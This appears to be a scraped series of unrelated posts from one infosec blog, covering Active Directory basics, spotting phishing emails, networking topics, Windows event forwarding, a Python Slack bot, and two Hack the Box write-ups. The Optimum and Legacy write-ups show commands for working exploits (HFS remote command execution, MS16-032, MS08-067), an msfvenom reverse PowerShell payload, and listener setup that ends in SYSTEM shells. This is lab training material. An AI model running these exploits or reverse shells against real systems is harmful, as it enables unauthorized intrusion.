Microsoft Active Directory is one of the most interesting services to attack since we can gather a lot of information just by checking if the server is misconfigured which enables us to enumerate treasure trove of information like Domain Users, Administrative Shares, Password Policies and many more.
In this series, I will be separating this into three parts. The first part will include the introduction of Active Directory and its components.
The second part will include different types of attacks against Active Directory and the demonstration on how to execute these attacks.
And lastly, we’ll be covering different approaches in defending and reducing attack surfaces of Active Directory.
What is Active Directory?
Active Directory or AD is a centralized Windows OS directory service that stores information about objects on the network and automates the management of user data, security, and distributed resources.
Active Directory Components
Just to give you an overview of the different components of Active Directory, the Active Directory consists of:
Domains
Forests
Sites
Domain Controllers
Organizational Units (OU)
Each of these components has their own purpose that enables Active Directory to function within an organization.
I will just summarize the meanings and functions of these components but you can read more about Active Directory on the official documentation of Microsoft.
Domains
Active Directory domains are where the users and computers are located. Each domain holds a database that contains the information of an object’s identity.
For example, I have an AD domain called internal.anotsodev.org. This domain contains all the information of users and computers joined in this domain.
Forests
Active Directory forests are the topmost logical containers of the hierarchy. The illustration below shows the organizational domain forest model of internal.anotsodev.org.
Sites
Active Directory Domain Sites enables the users to authenticate with the nearest domain controller and provides domain preference either administrative or least privilege to the current logged in user.
Sites are organized by one or more IP subnets based on the geographic location of the domain users joined to a domain.
Domain Controllers
Active Directory Domain Controllers handles authentication requests and verifies users if they have access to domain resources. Domain Users’ preference and permissions are defined via group policy set to the Domain Controller.
Organizational Unit (OU)
An organizational unit (OU) is a subdivision within an Active Directory into which you can place users, groups, computers, and other organizational units. You can create organizational units to mirror your organization’s functional or business structure. Each domain can implement its own organizational unit hierarchy. If your organization contains several domains, you can create organizational unit structures in each domain that are independent of the structures in the other domains.
So that ends the first part of the “Attacking and Defending Active Directory” series.
I will be posting the second part of this series which is the actual attacks that are being used against active directories next week.
This blog post will help you identify phishing emails and learn what are the tools being used in checking if the sender and links are legitimate.
The scenario in the next section will tell you the example of phishing email attacks and their consequences.
So let’s say you have received an email that is very similar to the services that you are frequently using. For example, from Paypal saying that someone logged in to your account, or from coins.ph (digital wallet used in the Philippines) saying that you have an unclaimed reward because you and your friends are verified.
Since it has gotten your attention and you are indeed convinced that you have a reward waiting to be claimed, you unknowingly ignored the red flags such as the email address of the sender and the inconsistencies of the email format. So you clicked the button and it redirected you to a familiar site but with an unfamiliar URL. Now you entered your credentials and clicked the login button but instead of prompting you to enter the authentication code from your 2FA device, it redirected you to the real site of that service you are using.
Now you are wondering, what happened? Let me tell you…
You just got phished!
The fake site where you entered your credentials has already gotten your login information. Your email address, your username, and password. Everything.
So if you are using similar credentials to other services, you are basically f’dup.
Now, to protect you and help you to be vigilant. Take your time to read this post and familiarize yourself with several characteristics about the emails that you have received that would indicate that these could be phishing emails.
This post will cover the basic approach to identify phishing emails.
Just to give you the overview, here’s the outline of this post.
Identify phishing emails by Internet Headers analysis and Email Reputation Lookup
Containment Approaches
Summary
Identify phishing emails by Internet Headers analysis and Email Reputation Lookup
In this section, you will learn how to analyze headers and identify the source IP of the sender or the relay server that they have used to send the phishing email.
We’ll be using this tool called MxToolbox. You may read the brief description from their site to learn more.
ABOUT EMAIL HEADERS
This tool will make email headers human readable by parsing them according to RFC 822. Email headers are present on every email you receive via the Internet and can provide valuable diagnostic information like hop delays, anti-spam results and more.
MxToolbox Email Header Analyzer
So before we use this tool, let’s get first the internet headers from the suspected phishing email. I will be using the internet headers of the email that was sent to my Protonmail address.
Coins.ph phishing email sent to ProtonmailExample email sent to Gmail
You may view the internet headers of your email on Protonmail by clicking the dropdown button then View Headers. On gmail, click the ‘kebab’ (three vertical dots) button then Show original.
After clicking the View Headers or Show Original button, just copy all the content then paste it to the email header analyzer tool then click the Analyze Header button.
After you submit the internet headers for analysis, you’ll see this page which contains the summary of the analysis.
Header Analysis Summary
On this email, you may notice that the sender used Gmail to send his/her phishing email
Since we know that Gmail IPs are reputable and are not really dangerous, let’s just use another phishing email internet header for the sake of demonstrating the identification of dangerous sender’s source IP.
Email sent from blacklisted/spammer IP
So you may notice that the sender’s IP is 185.234.219.119. We can copy the IP address to check its reputation using open-source intelligence services such as Talos Intelligenceby Cisco.
IP Reputation Lookup result
By using this tool, you can see details such as the location, reputation, owner, content, and blacklists that may help you to assess how dangerous the sender is.
Now, let’s move back to the MxToolbox analysis result to get more details about the email.
Headers Found
You may notice that the display name of the sender is not consistent compared to his/her email address. So this will hint us that the email is not really legitimate.
For the header name starting with “X-“, these are custom header and proprietary set by relay servers or mail gateways.
Let’s now move on to the next section, which is the containment approaches if you unknowingly entered your credentials to the phishing site.
Containment Approaches
Let’s say you have entered your credentials to the phishing site and redirected you to the official site, you kept wondering why it did not prompt you to enter 2FA code. You checked again the email and saw that the sender’s details are not consistent, you have realized that you have entered your credentials to a phishing site since you did not notice the URL since you were using your phone when you clicked the link embedded on the email.
So what should you do about this incident?
These are the steps that you MUST do to contain and prevent the attacker to abuse your credentials:
Install a password manager (1password, Enpass, or Bitwarden) then generate hard to guess password then change your password immediately
Log-out all the sessions of your account
If you are using similar login details on other services, change their passwords immediately
Install virus scanner software then run a full scan in case of malicious executables downloaded on your device
Delete the email on your inbox
After doing these steps, you have now ensured that your account is safe again and won’t be abused by the attacker.
Summary
Just to summarize the topics that I’ve discussed here, we tackled how to spot phishing emails by checking the internet headers and using tools such as MxToolbox and Talos Intelligence to aid us with our analysis. Lastly, we tackled the necessary steps in securing your account again after being a victim of phishing.
So that’s it! I hope you have learned new technologies and tools by reading this blog post. I will be posting more guides and tutorials again soon whenever I have time.
This blog post contains the Networking Concepts and Protocols course that can be enrolled in Pluralsight. Feel free to skim this outline to get a high-level overview of the topics that were discussed on the course.
Introduction
What is networking?
Concepts
Modeling network communication
Data Networking
Data moving from a device to another device
Understanding Data Networking
protocols to protocols
Modeling Systems
Concept
Language
Link
Physical
The OSI Model
Open Systems Interconnect
Physical Layer (Layer 1)
Physical Devices
Cables
Twisted Pair
CoAx
Fiber Optics
Copper
Data Link Layer (Layer 2)
Ethernet
DOCSIS-3 (ISP to Internet)
Move data from one device to another device
Network Layer (Layer 3)
IP Addressing
IP Routing
Transport Layer (Layer 4)
Session between client and server
TCP – Transmission Control Protocol
UDP – User Diagram Protocol
Session Layer (Layer 5)
Presentation Layer (Layer 6)
Decoding ASCII
EBCDIC (IBM Encoding)
Application Layer (Layer 7)
HTTP
HTTPS
Protocols and Port Numbers
Application Layer Protocols (Layer 7)
Transferring Data
Hypertext Transfer Protocols
HTTP (Layer 4 port: 80)
HTTPS (Layer 4 port: 443)
File Transfer Protocols
FTP (Port 20)
sFTP (Port 22)
FTP over SSH
TrivialFTP (Port 69)
Used to transfer files without authentication
SMB (Port 445)
Email Protocols
SMTP (Port 25/465/587)
Used for outbound emails
POP3 (Port 110/995) /IMAP (Port 143/993)
Used for inbound emails
Authentication Protocols
LDAP (Port 389)
LDAPs (Port 636)
Network Services
DHCP
DNS
NTP
Network Management
Telnet
SSH
SNMP
RDP
Audio/Video Protocols
H.323
1720
SIP
Transport Layer Protocols (Layer 4)
TCP
Transmission Control Protocol
Uses 3-way handshake to establish session with other devices
SYN – SYN/ACK – ACK
Uses 4-way disconnect to end established session with other devices
As your organization grows, a lot more log collectors either commercial or freeware are needed to be installed on your network to get logs from different servers running on Windows or *nix.
Let’s say for example this organization called kyle.biz has implemented Arcsight SmartConnectors deployed on Linux servers to get event logs on Windows. And based on my experience, setting up the SmartConnectors is tedious and maintaining them is sometimes a pain.
The limitations were also realized since SmartConnector only gets logs on the server static IPs configured during the installation so there is no way we’ll get the logs from other machines that have dynamic IPs.
Upon research, our team has stumbled upon this article from Microsoft’s documentation page and saw that Windows has already built-in log forwarding feature which is powerful and easy to configure!
So without further ado, let’s now configure the Source Initiated WEC and WEF on our servers!
Prerequisites
Windows Event Collector
OS: Windows Server 2016
Hostname: WEC01.internal.kyle.biz
RAM: 16GB
CPU: 4 Cores
Storage:
Drive C:\ – 50GB
Drive D:\ – 60GB (we’ll save our forwarded logs here)
Joined in a domain.
Windows Event Source
OS: Windows Server 2016
Hostname: CONSOLESERVER01.internal.kyle.biz
Joined in a domain.
WEC Server Configuration
On the following steps, we’ll be configuring our collector server to receive logs which will be initiated by source computers.
Step 1: Open the Event Viewer and click the Subscription.
Step 2: Right-click the Subscription to create a new Subscription. You can also see other actions on the right pane of the window.
Step 3: Enter the subscription name and select the subscription type as Source computer initiated.
Before we proceed in adding computer groups, let’s first configure the events to collect and advanced settings.
Step 6: Click the Advanced Settings then select Minimize Latency.
Step 7: Click OK
Step 8: We’ll now add our domain computers by clicking Select Computer Groups.
Step 9: Since we are joined in a domain, click Add Domain Computers then search for the hostname of the event source. (Ex: CONSOLESERVER01.internal.kyle.biz)
Step 10: Click OK
Step 11: Right-click the Forwarded Events then click on properties
Step 12: Create folder Winenvt\Logs on drive D:\ then replace the log path by entering D:\Winevt\Logs\ForwardedEvents.evtx or refer to the screenshot below.
Event Source Configuration
On the following steps, we’ll be configuring the source computers to forward logs to our collector server.
Step 1: Let’s now configure our event source server machine to point the SubscriptionManagers to our WEC.
Step 2: Open the Local Group Policy then click the Event Forwarding to see the items under that directory.
Step 3: Click the Configure target Subscription Manager and enter on the value
Step 5: Open Command Prompt then enter gpudate /force to apply the modification in our local group policy.
Step 6: Press Enter
Step 7: Go back to the WEC server then check if the Baseline events already getting logs from our event source machine.
Step 8: We can already see that the events are already forwarded and ready to use for analysis.
So that’s it! I hope you learned something new today and I hope you’ll be using this example to reduce the gap and have greater visibility on your network.
This is a write-up of the retired Optimum box on Hack the Box.
First thing I did was to fire up nmap and ran this command.
nmap -sV -sC -oA optimum 10.10.10.8
And got this result.
Nmap scan report for 10.10.10.8
Host is up (0.42s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.77 seconds
So only port 80 was open and it was a HttpFileServer.
HTTP File Server, otherwise known as HFS, is a free web server specifically designed for publishing and sharing files. The complete feature set differs from other web servers; it lacks some common features, like CGI, or even ability to run as a Windows service, but includes, for example, counting file downloads. It is even advised against using it as an ordinary web server.
I copied the exploit and named it as exploit.py on my directory. After I copied the exploit, I modified a few lines of codes and entered my IP address and local port number to listen to.
root@kali:~/Documents/HTB/Optimum# nano exploit.py
# changed the following lines
ip_addr = "10.10.14.116" #local IP address
local_port = "9999" # Local Port number
root@kali:~/Documents/HTB/Optimum# python exploit.py
[.]Something went wrong..!
Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the script
root@kali:~/Documents/HTB/Optimum# python exploit.py 10.10.10.8 80
# Open new Terminal Tab
root@kali:~/Documents/HTB/Optimum# nc -lvp 9999
After running the exploit and opened a new terminal for the netcat listener, I got an access to the shell. This means that the exploit worked, however, I was not able to do other things so I need to have a meterpreter access to run the privilege escalation suggester and use the suggested privesc exploits to have a root access on the system.
Good thing there was a metasploit module of the HFS exploit. So I fired up metasploit and used the exploit.
msf > search hfs
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/http/git_client_command_exec 2014-12-18 excellent Malicious Git and Mercurial HTTP Server For CVE-2014-9390
exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Rejetto HttpFileServer Remote Command Execution
msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > set RHOST 10.10.10.8
RHOST => 10.10.10.8
msf exploit(rejetto_hfs_exec) > set SRVPORT 7777
SRVPORT => 7777
msf exploit(rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 10.10.14.116:4444
[*] Using URL: http://0.0.0.0:7777/YqQuLmjEaXD
[*] Local IP: http://192.168.8.102:7777/YqQuLmjEaXD
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /YqQuLmjEaXD
[*] Sending stage (179267 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.14.116:4444 -> 10.10.10.8:49239) at 2017-10-14 09:51:34 -0400
[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\pCrVCNhk.vbs' on the target
Got a meterpreter session.
meterpreter >
meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
I needed to background first the session so that I am able to run the exploit suggester for windows.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(rejetto_hfs_exec) > search suggester
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/multi/recon/local_exploit_suggester normal Multi Recon Local Exploit Suggester
msf exploit(rejetto_hfs_exec) > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(local_exploit_suggester) > run
[*] 10.10.10.8 - Collecting local exploits for x86/windows...
[*] 10.10.10.8 - 37 exploit checks are being tried...
[+] 10.10.10.8 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.8 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 10.10.10.8 - exploit/windows/local/ms_ndproxy: The target service is running, but could not be validated.
[*] Post module execution completed
msf post(local_exploit_suggester) > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) >
msf exploit(ms16_032_secondary_logon_handle_privesc) > run
msf exploit(ms16_032_secondary_logon_handle_privesc) > set SESSION 2
[*] Started reverse TCP handler on 192.168.8.102:4444
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\Desktop\cbOzoCyJAykO.txt...
[*] Compressing script contents...
[+] Compressed size: 3596
[*] Executing exploit script...
[+] Cleaned up C:\Users\kostas\Desktop\cbOzoCyJAykO.txt
[*] Exploit completed, but no session was created.
msf exploit(ms16_032_secondary_logon_handle_privesc) >
The ms16_032_secondary_logon_handle_privesc exploit was an exploit for Windows 2012 R2 (Build 9600) but it didn’t work and there was no session created. However, there was a manual exploit script for the ms16_032_secondary_logon_handle_privesc and I will use that exploit to have a root access on the system.
So I downloaded the exploit from exploitdb.
https://www.exploit-db.com/exploits/39719/
The exploit was a powershell script. So for the exploit to work, I needed to have an interactive powershell access on the system to run the script, so what I did was to create a reverse powershell payload using msfvenom.
root@kali:~/Documents/HTB/Optimum# msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.116 LPORT=5555 -f exe > shell.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1802 bytes
Final size of exe file: 8192 bytes
After the payload was created, I fired up metasploit on the other tab to use the handler to catch the reverse powershell.
Reverse Powershell Tab
msf > use exploit/multi/handler
msf exploit(handler) > set payload payload/windows/x64/powershell_reverse_tcp
[-] The value specified for payload is not valid.
msf exploit(handler) > set payload windows/x64/powershell_reverse_tcp
payload => windows/x64/powershell_reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.116
LHOST => 10.10.14.116
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job 0.
msf exploit(handler) >
[*] Started reverse SSL handler on 10.10.14.116:5555
msf exploit(handler) >
After creating the handler I uploaded and executed the reverse powershell.
I needed to open another handler again on metasploit to catch the reverse shell and to have a root access on the system.
And after modifying the script and creating the handler, it’s time to execute the exploit using the interactive powershell.
Reverse Powershell Tab
PS C:\Users\kostas\Desktop> ./MS16-032.ps1
PS C:\Users\kostas\Desktop> Import-Module ./MS16-032.ps1
PS C:\Users\kostas\Desktop> Invoke-MS16-032
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Done, using thread handle: 2172
[*] Sniffing out privileged impersonation token..
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Wiping current impersonation token
[>] Building SYSTEM impersonation token
[?] Success, open SYSTEM token handle: 2168
[+] Resuming thread..
[*] Sniffing out SYSTEM shell..
[>] Duplicating SYSTEM token
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!
PS C:\Users\kostas\Desktop>
And on the reverse shell handler tab, you can see that it already caught the reverse shell executed by the exploit and there it goes, I already had a root access on the system.
Reverse Shell Tab
msf exploit(handler) >
[*] Sending stage (179267 bytes) to 10.10.10.8
[*] Meterpreter session 2 opened (10.10.14.116:1337 -> 10.10.10.8:50253) at 2017-10-14 12:23:26 -0400
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 752 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
C:\Users\kostas\Desktop>more user.txt.txt
more user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73
C:\Users\kostas\Desktop>cd C:\Users
cd C:\Users
C:\Users>cd Administrator
cd Administrator
C:\Users\Administrator>cd Desktop
cd Desktop
C:\Users\Administrator\Desktop>more root.txt
more root.txt
51ed1b36553c8461f4552c2e92b3eeed
C:\Users\Administrator\Desktop>
I have now the user and root hashes of the box.
Subscribe for more!
To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.
I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?
The slack bot that I will be building has a feature that will automatically fetch the latest tweets from my subscribed lists (Information Security related) on Twitter.
Thanks to this guide I was able to understand how to build a simple slack bot.
Slack Account with a workspace to access the slack API
slackclient python library
Twitter account for the API access and subscribed with at least 1 list
twitter python library
Getting Started
After installing either Python 2.x.x or 3.x.x, use the following commands to install the needed python libraries.
pip install slack client
pip install twitter
Getting the Slack API Access Token
After running the following commands, login to slack and make a workspace for you to be able to generate Slack API Tokens.
Click the site below to create new bot user.
https://api.slack.com/bot-users
Click the “creating a new bot user” to create a new bot user.
Below is the screenshot on creating a new bot user.
Enter the username of your bot.
You will be redirected here after you clicked the Add bot integration button.
You have now the API token for your bot. Please note the warning message.
You can also customize your bot like uploading a profile picture and describing the features of your bot. After customizing your bot, scroll down and click the Save Integration button.
The most practical method of securing secret tokens it to export it as an environment variable.
But what I will be doing is paste the token to a config.py file and access it using the python file of the bot.
Getting the Bot’s ID
Here is the modified code snippet from https://www.fullstackpython.com/blog/build-first-slack-bot-python.html
import os
from slackclient import SlackClient
config = {}
execfile("config.py", config)
BOT_NAME = 'kairubot'
slack_client = SlackClient(config['slack_api'])
if __name__ == "__main__":
api_call = slack_client.api_call("users.list")
if api_call.get('ok'):
# retrieve all users so we can find our bot
users = api_call.get('members')
for user in users:
if 'name' in user and user.get('name') == BOT_NAME:
print("Bot ID for '" + user['name'] + "' is " + user.get('id'))
else:
print("could not find bot user with the name " + BOT_NAME)
Running this program will output the Bot’s ID.
C:\Users\Kyle\Documents\Projects\slack-bot>python test.py
Bot ID for 'kairubot' is U79K9K9FB
You can now copy and paste the ID of your bot to the config.py file.
Now we already have our Slack API Token for our bot and the ID of our bot, next step is to get the tokens for user authentication needed to use the Twitter API.
Click the link below to generate these tokens.
https://apps.twitter.com/app/new
You must be logged in on twitter before creating an application.
You just need to fill up the following fields to create your new application.
After filling up the necessary fields and created your new application, you will be redirected to your application’s management page. In order to generate your access tokens, click the Keys and Access Tokens tab then scroll down then click the create new access token button there.
Your application now has generated your access tokens. You just need to paste the tokens on the config.py
You now have the necessary tokens to make an API requests to Slack and Twitter.
You can now use the source code of the program below to use and retrieve latest tweets from the subscribed lists.
I’ve used the examples here on how to use the Twitter API to get tweets from Twitter.
https://github.com/ideoforms
The feature of this bot is to manually or automatically fetch latest tweets from the subscribed lists.
import time
import sys
from slackclient import SlackClient
from twitter import *
config = {}
execfile("config.py", config)
#bot's id
BOT_ID = config["bot_id"]
# instantiate slack
# Note: always secure the api token
slack_client = SlackClient(config["slack_api"])
AT_BOT = "<@" + BOT_ID + ">"
# list of commands
EXAMPLE_COMMANDS = "help, retrieve, autoretrieve"
COMMANDS = ['help', 'retrieve', 'autoretrieve']
#constants
DEFAULT_INTERVAL = 5
def auto_retrieve(channel, start, default_interval):
n = default_interval;
response = "Starting...\n"
time.sleep(3)
response += "Will retrieve statuses from the infosec list every 1 hour. Auto Retrieve Intervals = "+str(DEFAULT_INTERVAL)+"\n"
slack_client.api_call("chat.postMessage", channel=channel,
text=response, as_user=True)
while start and n > 0:
response = retrieve()
slack_client.api_call("chat.postMessage", channel=channel,
text=response, as_user=True)
n-=1
# 3600 seconds = 1 hour
time.sleep(3600)
return "Auto retrieval stopped."
def retrieve():
# will use this example on retrieving tweets https://github.com/ideoforms/python-twitter-examples/blob/master/twitter-home-timeline.py
# config.py https://github.com/ideoforms/python-twitter-examples/blob/master/config.py
response = ""
response += "Retrieving 50 tweets... \n\n"
users = [ "kylehalog" ]
twitter = Twitter(auth = OAuth(config["access_key"], config["access_secret"], config["consumer_key"], config["consumer_secret"]))
for user in users:
result = twitter.lists.list(screen_name = user)
for list in result:
list_slug = list["slug"]
list_str_id = list["id"]
tweet_count = 50
statuses = twitter.lists.statuses(slug = list_slug, list_id = list_str_id, count = tweet_count)
for status in statuses:
response += "(%s) @%s %s" % (status["created_at"], status["user"]["screen_name"], status["text"]) + "\n"
return response
def command_handler(command, channel):
response = "Sorry but I don't get what you mean. I can only understand these commands: " + EXAMPLE_COMMANDS
if command in COMMANDS:
if command == 'help':
response = "\
List of available commands: \n \
help - display this message\n \
retrieve - retrieve and output the latest tweets about infosec\n \
autoretrieve - automatically retrieve and output tweets about infosec every 1 hour"
elif command == 'retrieve':
response = retrieve()
elif command == 'autoretrieve':
response = auto_retrieve(channel, True, DEFAULT_INTERVAL)
slack_client.api_call("chat.postMessage", channel=channel,
text=response, as_user=True)
def slack_output_parser(rtm_output):
output_list = rtm_output
if output_list and len(output_list) > 0:
for output in output_list:
if output and 'text' in output and AT_BOT in output['text']:
# return text after the @ mention, whitespace removed
return output['text'].split(AT_BOT)[1].strip().lower(), \
output['channel']
return None, None
if __name__ == "__main__":
READ_WEBSOCKET_DELAY = 1
if slack_client.rtm_connect():
print("Kairu Bot is connected and running!")
while True:
command, channel = slack_output_parser(slack_client.rtm_read())
if command and channel:
command_handler(command, channel)
time.sleep(READ_WEBSOCKET_DELAY)
else:
print("Connection Failed. Invalid Slack token or Bot ID")
Starting the Bot
To run the program, just use this command and invite your bot to your slack channel.
python kairu-bot.py
Example bot usage on slack
So this is how to build a slack bot with python.
You are free to modify and use the source code on my Github below. You can also add features as many as you want.
This post contains the actual commands that I used in hacking and getting the user and root hashes on HTB Legacy Box.
Enumeration
kaipowered@debian:~/Downloads/enum4linux-0.8.9/enum4linux-0.8.9$ sudo ./enum4linux.pl -a 10.10.10.4
[sudo] password for kaipowered:
WARNING: ldapsearch is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jul 18 22:42:06 2017
==========================
| Target Information |
==========================
Target ........... 10.10.10.4
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
==================================================
| Enumerating Workgroup/Domain on 10.10.10.4 |
==================================================
[+] Got domain/workgroup name: HTB
==========================================
| Nbtstat Information for 10.10.10.4 |
==========================================
Looking up status of 10.10.10.4
LEGACY <00> - B <ACTIVE> Workstation Service
HTB <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
LEGACY <20> - B <ACTIVE> File Server Service
HTB <1e> - <GROUP> B <ACTIVE> Browser Service Elections
HTB <1d> - B <ACTIVE> Master Browser
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
MAC Address = 00-50-56-97-0E-E1
===================================
| Session Check on 10.10.10.4 |
===================================
[+] Server 10.10.10.4 allows sessions using username '', password ''
=========================================
| Getting domain SID for 10.10.10.4 |
=========================================
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED
[+] Can't determine if host is part of domain or part of a workgroup
====================================
| OS information on 10.10.10.4 |
====================================
[+] Got OS info for 10.10.10.4 from smbclient: Domain=[LEGACY] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]
[E] Can't get OS info with srvinfo: NT_STATUS_ACCESS_DENIED
===========================
| Users on 10.10.10.4 |
===========================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
=======================================
| Share Enumeration on 10.10.10.4 |
=======================================
[E] Can't list shares: NT_STATUS_ACCESS_DENIED
[+] Attempting to map shares on 10.10.10.4
==================================================
| Password Policy Information for 10.10.10.4 |
==================================================
[E] Unexpected error from polenum.py:
Traceback (most recent call last):
File "/usr/local/bin/polenum.py", line 32, in <module>
from impacket import uuid
ImportError: No module named impacket
[E] Failed to get password policy with rpcclient
============================
| Groups on 10.10.10.4 |
============================
[+] Getting builtin groups:
[E] Can't get builtin groups: NT_STATUS_ACCESS_DENIED
[+] Getting builtin group memberships:
[+] Getting local groups:
[E] Can't get local groups: NT_STATUS_ACCESS_DENIED
[+] Getting local group memberships:
[+] Getting domain groups:
[E] Can't get domain groups: NT_STATUS_ACCESS_DENIED
[+] Getting domain group memberships:
=====================================================================
| Users on 10.10.10.4 via RID cycling (RIDS: 500-550,1000-1050) |
=====================================================================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
===========================================
| Getting printer info for 10.10.10.4 |
===========================================
could not initialise lsa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED
enum4linux complete on Tue Jul 18 22:42:49 2017
Exploitation and Post Exploitation
msf exploit(ms06_040_netapi) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 10.10.10.4
RHOST => 10.10.10.4
msf exploit(ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.15.172:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (956991 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.15.172:4444 -> 10.10.10.4:1028) at 2017-07-18 22:26:33 +0800
meterpreter > sysinfo
Computer : LEGACY
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
Process 1512 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd c:\Users
cd c:\Users
The system cannot find the path specified.
C:\WINDOWS\system32>cd C
cd C
The system cannot find the path specified.
C:\WINDOWS\system32>cd C:\
cd C:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\
16/03/2017 08:30 �� 0 AUTOEXEC.BAT
16/03/2017 08:30 �� 0 CONFIG.SYS
16/03/2017 09:07 �� <DIR> Documents and Settings
16/03/2017 08:33 �� <DIR> Program Files
16/03/2017 08:33 �� <DIR> WINDOWS
2 File(s) 0 bytes
3 Dir(s) 6.488.408.064 bytes free
C:\>cd WINDOWS
cd WINDOWS
C:\WINDOWS>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B
Directory of C:\WINDOWS
16/03/2017 08:33 �� <DIR> .
16/03/2017 08:33 �� <DIR> ..
23/07/2017 07:19 �� 0 0.log
16/03/2017 08:18 �� <DIR> addins
16/03/2017 08:19 �� <DIR> AppPatch
23/08/2001 03:00 �� 1.272 Blue Lace 16.bmp
23/08/2001 03:00 �� 82.944 clock.avi
16/03/2017 08:27 �� 200 cmsetacl.log
23/08/2001 03:00 �� 17.062 Coffee Bean.bmp
16/03/2017 08:32 �� 15.905 comsetup.log
16/03/2017 08:18 �� <DIR> Config
16/03/2017 08:18 �� <DIR> Connection Wizard
16/03/2017 08:30 �� 0 control.ini
16/03/2017 08:28 �� <DIR> Cursors
16/03/2017 08:20 �� <DIR> Debug
23/08/2001 03:00 �� 2 desktop.ini
16/03/2017 08:18 �� <DIR> Driver Cache
16/03/2017 08:28 �� 130 DtcInstall.log
16/03/2017 08:19 �� <DIR> ehome
14/04/2008 06:42 �� 1.033.728 explorer.exe
23/08/2001 03:00 �� 80 explorer.scf
16/03/2017 08:29 �� 11.537 FaxSetup.log
23/08/2001 03:00 �� 16.730 FeatherTexture.bmp
23/08/2001 03:00 �� 17.336 Gone Fishing.bmp
23/08/2001 03:00 �� 26.582 Greenstone.bmp
16/03/2017 08:29 �� <DIR> Help
14/04/2008 06:42 �� 10.752 hh.exe
